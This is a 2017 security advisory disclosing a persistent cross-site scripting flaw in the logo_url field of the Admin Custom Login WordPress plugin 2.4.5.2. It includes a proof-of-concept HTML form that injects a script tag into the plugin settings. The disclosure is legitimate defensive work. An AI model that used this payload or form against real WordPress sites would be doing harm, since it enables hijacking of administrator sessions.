WordPress Admin Custom Login 2.4.5.2 Cross Site Scripting
Posted on 02 March 2017
------------------------------------------------------------------------ Admin Custom Login WordPress plugin affected by persistent Cross-Site Scripting via Logo URL field ------------------------------------------------------------------------ Burak Kelebek, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A persistent Cross-Site Scripting vulnerability has been encountered in the Admin Custom Login WordPress plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. The "logo_url" field does not validate <script> tags and does not perform output encoding. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0002 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was succesfully tested on the Admin Custom Login WordPress plugin version 2.4.5.2. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/admin_custom_login_wordpress_plugin_affected_by_persistent_cross_site_scripting_via_logo_url_field.html As an admin, it's possible to upload a logo on the login page. The "logo_url" field does not validate <script> tags and does not perform output encoding. Proof of concept <html> <body> <form action="http://<target>/wp-admin/options-general.php?page=admin_custom_login" method="POST"> <input type="hidden" name="Action" value="logoSave"/> <input type="hidden" name="logo_image" value="http://<target>/wp-content/uploads/2016/06/scriptalert1script.jpeg"/> <input type="hidden" name="logo_width" value="200"/> <input type="hidden" name="logo_height" value="60"/> <input type="hidden" name="logo_url" value=""><script>alert(1)</script>"/> <input type="hidden" name="logo_url_title" value="\\"/> <input type="submit"/> </form> </body> </html> After this request is executed, re-open the admin panel of WordPress and visit the Admin Custom Login page. ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
